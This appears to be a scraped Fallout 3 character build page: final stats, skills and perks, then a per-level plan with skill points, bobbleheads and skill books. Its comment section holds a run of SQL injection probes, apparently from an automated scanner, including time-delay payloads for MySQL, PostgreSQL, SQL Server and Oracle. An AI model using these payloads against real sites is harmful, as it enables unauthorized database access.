Strength
10
 
Perception
10
 
Endurance
10
 
Charisma
10
 
Intelligence
10
 
Agility
10
 
Luck
10
 
Action Points
110
 
Carry Weight
300
 
Critical Chance
15%
 
Dmg Resist
20%
 
Hit Points
620
 
Melee Damage
5.0
 
Skill Points
23
 
Barter
100
 
Big Guns
100
 
Energy Weapons
100
 
Explosives
100
 
Lockpick
100
 
Medicine
100
 
Melee Weapons
100
 
Repair
100
 
Science
100
 
Small Guns
100
 
Sneak
100
 
Speech
100
 
Unarmed
50
 
Action Boy/Girl
Adamantium Skeleton
Almost Perfect
Ant Sight
Child at Heart
Commando
Comprehension
Cyborg
Demolition Expert
Educated
Entomologist
Finesse
Grim Reaper's Sprint
Gun Nut
Hematophage
Intense Training
Lady Killer/Black Widow
Life Giver
Nerd Rage!
Power Armor Training
Pyromaniac
Rad Absorption
Rad Regeneration
Robotics Expert
Scoundrel
Scrounger
Silent Running
Size Matters
Sniper
Strong Back
Tag!
Toughness
Warmonger
Level 1
ST 5 PE 5 EN 7 CH 4 IN 9 AG 5 LK 5
Big Guns, Science, and Lockpick
Level 2
Energy Weapons +5 (20), Speech +2 (15), Science +12 (50)
Gun Nut
Level 3
Repair +1 (29), Explosives +5 (20), Medicine +7 (30), Big Guns +6 (40)
Lady Killer/Black Widow
Bobblehead (Intelligence)
Level 4
Speech +10 (25), Repair +2 (33), Medicine +8 (40)
Educated
Level 5
Lockpick +20 (50), Repair +3 (36)
Child at Heart
Level 6
Speech +5 (30), Science +8 (60), Big Guns +10 (50)
Comprehension
Level 7
Repair +3 (39), Explosives +10 (30), Medicine +10 (50)
Entomologist
Level 8
Speech +5 (40), Repair +1 (40), Barter +2 (20), Science +15 (75)
Scoundrel
Level 9
Lockpick +10 (60), Speech +10 (50), Science +1 (76), Medicine +2 (52)
Scrounger
Level 10
Lockpick +10 (70), Science +1 (77), Medicine +2 (54), Big Guns +10 (60)
Toughness
Level 11
Energy Weapons +15 (35), Lockpick +5 (75), Science +1 (78), Medicine +2 (56)
Size Matters
Level 12
Energy Weapons +5 (40), Explosives +10 (40), Science +1 (79), Medicine +2 (58), Big Guns +5 (80)
Strong Back
Level 13
Explosives +10 (50), Science +11 (90), Medicine +2 (60)
Nerd Rage!
Level 14
Lockpick +15 (90), Repair +8 (48)
Cyborg
Bobblehead (Science)
Bobblehead (Lockpick)
Level 15
Energy Weapons +10 (60), Repair +2 (50), Explosives +10 (60), Barter +1 (21)
Adamantium Skeleton
Level 16
Speech +18 (68), Repair +5 (70)
Tag! (Repair)
Level 17
Small Guns +3 (25), Repair +10 (80), Big Guns +10 (90)
Intense Training (AG)
Level 18
Sneak +8 (25), Medicine +15 (75)
Action Boy/Girl (Repair)
Level 19
Speech +2 (70), Repair +10 (90), Explosives +10 (70), Barter +1 (22)
Pyromaniac (Repair)
Bobblehead (Big Guns)
Bobblehead (Repair)
Level 20
Small Guns +5 (30), Explosives +10 (80), Barter +3 (25), Medicine +5 (80)
Grim Reaper's Sprint (Repair)
Level 21
Small Guns +3 (33), Speech +10 (80), Medicine +10 (90)
Demolition Expert (Repair)
Level 22
Small Guns +3 (36), Speech +10 (90), Explosives +10 (90)
Finesse (Repair)
Bobblehead (Speech)
Bobblehead (Medicine)
Bobblehead (Explosives)
Ant Sight
Power Armor Training
Hematophage
Rad Regeneration
Level 23
Energy Weapons +8 (70), Barter +5 (30), Melee Weapons +10 (25)
Sniper (Repair)
Level 24
Small Guns +3 (39), Energy Weapons +20 (90)
Life Giver (Repair)
Bobblehead (Energy Weapons)
Level 25
Small Guns +11 (50), Barter +12 (42)
Commando (Repair)
Level 26
Sneak +15 (40), Barter +8 (50)
Warmonger (Repair)
Level 27
Sneak +10 (50), Small Guns +10 (60), Melee Weapons +3 (28)
Robotics Expert (Repair)
Level 28
Unarmed +1 (20), Barter +20 (70), Melee Weapons +2 (30)
Rad Absorption (Repair)
Level 29
Sneak +3 (63), Small Guns +15 (75), Barter +5 (75)
Silent Running (Repair)
Level 30
Sneak +9 (80), Small Guns +7 (90), Unarmed +4 (30), Barter +3 (90)
Almost Perfect (Repair)
Bobblehead (Strength)
Bobblehead (Perception)
Bobblehead (Endurance)
Bobblehead (Charisma)
Bobblehead (Agility)
Bobblehead (Luck)
Bobblehead (Barter)
Bobblehead (Melee Weapons)
Bobblehead (Small Guns)
Bobblehead (Sneak)
Bobblehead (Unarmed)
Grognak the Barbarian => Melee Weapons +2 (54)
Grognak the Barbarian => Melee Weapons +2 (56)
Grognak the Barbarian => Melee Weapons +2 (58)
Grognak the Barbarian => Melee Weapons +2 (60)
Chinese Army: Special Ops Training Manual => Sneak +2 (94)
Chinese Army: Special Ops Training Manual => Sneak +2 (96)
Chinese Army: Special Ops Training Manual => Sneak +2 (98)
Chinese Army: Special Ops Training Manual => Sneak +2 (100)
Grognak the Barbarian => Melee Weapons +2 (62)
Grognak the Barbarian => Melee Weapons +2 (64)
Grognak the Barbarian => Melee Weapons +2 (66)
Grognak the Barbarian => Melee Weapons +2 (68)
Grognak the Barbarian => Melee Weapons +2 (70)
Grognak the Barbarian => Melee Weapons +2 (72)
Grognak the Barbarian => Melee Weapons +2 (74)
Grognak the Barbarian => Melee Weapons +2 (76)
Grognak the Barbarian => Melee Weapons +2 (78)
Grognak the Barbarian => Melee Weapons +2 (80)
Grognak the Barbarian => Melee Weapons +2 (82)
Grognak the Barbarian => Melee Weapons +2 (84)
Grognak the Barbarian => Melee Weapons +2 (86)
Grognak the Barbarian => Melee Weapons +2 (88)
Grognak the Barbarian => Melee Weapons +2 (90)
Grognak the Barbarian => Melee Weapons +2 (92)
Grognak the Barbarian => Melee Weapons +2 (94)
Grognak the Barbarian => Melee Weapons +2 (96)
Grognak the Barbarian => Melee Weapons +2 (98)
Grognak the Barbarian => Melee Weapons +2 (100)
Pugilism Illustrated => Unarmed +2 (44)
Pugilism Illustrated => Unarmed +2 (46)
Pugilism Illustrated => Unarmed +2 (48)
Duck and Cover! => Explosives +2 (100)
Pugilism Illustrated => Unarmed +2 (50)
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
--- !map:HashWithIndifferentAccess
information_schema where (select 0) or sleep(30) /*s1BBKLoN*/:
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
fNoAbNc7
QPbmCRVM, 3 days ago:
-1 OR 2+431-431-1=0+0+0+1 --
QPbmCRVM, 3 days ago:
-1 OR 2+978-978-1=0+0+0+1
QPbmCRVM, 3 days ago:
-1' OR 2+703-703-1=0+0+0+1 --
QPbmCRVM, 3 days ago:
-1' OR 2+320-320-1=0+0+0+1 or 'osVBZCdo'='
QPbmCRVM, 3 days ago:
-1" OR 2+276-276-1=0+0+0+1 --
QPbmCRVM, 3 days ago:
if(now()=sysdate(),sleep(15),0)
QPbmCRVM, 3 days ago:
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
QPbmCRVM, 3 days ago:
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
QPbmCRVM, 3 days ago:
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
QPbmCRVM, 3 days ago:
-1
QPbmCRVM, 3 days ago:
-1)
QPbmCRVM, 3 days ago:
1 waitfor delay '0:0:15' --
QPbmCRVM, 3 days ago:
C58POXUI'
QPbmCRVM, 3 days ago:
-5 OR 715=(SELECT 715 FROM PG_SLEEP(15))--
QPbmCRVM, 3 days ago:
-5) OR 607=(SELECT 607 FROM PG_SLEEP(15))--
QPbmCRVM, 3 days ago:
-1)) OR 323=(SELECT 323 FROM PG_SLEEP(15))--
QPbmCRVM, 3 days ago:
oazYQgCX' OR 598=(SELECT 598 FROM PG_SLEEP(15))--
QPbmCRVM, 3 days ago:
0FfH28rb') OR 991=(SELECT 991 FROM PG_SLEEP(15))--
QPbmCRVM, 3 days ago:
Jik2hTxH')) OR 822=(SELECT 822 FROM PG_SLEEP(15))--
QPbmCRVM, 3 days ago:
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
QPbmCRVM, 3 days ago:
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
QPbmCRVM, 3 days ago:
'||(select 1 from (select pg_sleep(15))x)||'
QPbmCRVM, 3 days ago:
''||(select 1 from (select pg_sleep(15))x)||''
QPbmCRVM, 3 days ago:
1'"
QPbmCRVM, 3 days ago:
1
QPbmCRVM, 3 days ago:
@@IFVoc
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
QPbmCRVM, 3 days ago:
555
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